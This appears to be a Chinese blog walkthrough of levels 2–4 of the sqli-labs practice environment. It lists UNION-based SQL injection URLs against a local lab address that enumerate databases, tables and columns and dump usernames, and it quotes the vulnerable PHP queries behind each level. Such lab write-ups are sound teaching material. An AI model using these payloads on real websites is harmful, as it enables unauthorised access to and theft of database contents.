zoukankan      html  css  js  c++  java
  • sqli-labs-master 第二,三,四关

    第二关:

    判断注入类型:http://192.168.65.130/sqli-labs-master/Less-2/?id=1 --+

    原因:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

              未对id做任何处理无须闭合

    判断列数:http://192.168.65.130/sqli-labs-master/Less-2/?id=1 order by 3 --+

    判断显示位:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1+UNION(SELECT(1),(2),(3))--+

    爆出数据库:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1 +UNION(SELECT(1),(group_concat(schema_name)),(3) from information_schema.schemata) --+ limit 0,1

    爆出数据表:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1 +UNION(SELECT(1),(group_concat(table_name)),(3) from information_schema.tables where table_schema='security') --+ limit 0,1

    爆数据表的列名:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1 +UNION(SELECT(1),(group_concat(column_name)),(3) from information_schema.columns where table_schema='security' and table_name='users') --+ limit 0,1

    爆数据:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1 +UNION(SELECT(1),(group_concat(username)),(3) from users ) --+ limit 0,1

    第三关:

     http://192.168.65.130/sqli-labs-master/Less-3/?id=1') order by 4--+

    剩余同第二关

    原因: $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

                用‘)闭合$id

    第四关:

    http://192.168.65.130/sqli-labs-master/Less-4/?id=1") order by 5 --+

    原因:$id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

    需要闭合引号和小括号

     

  • 相关阅读:
    辞职后的第二个星期
    最近似乎应该休眠了.
    文件.二进制转换
    AVL树
    ajax 的同步和异步
    在SQL Server实现最短路径的搜索
    网页嵌套com例子
    Vs2005 dll 设置def导出函数
    [转]ATL开发一个ActiveX
    Atl COM发布与优化
  • 原文地址:https://www.cnblogs.com/gudexiao-1996/p/11692275.html
Copyright © 2011-2022 走看看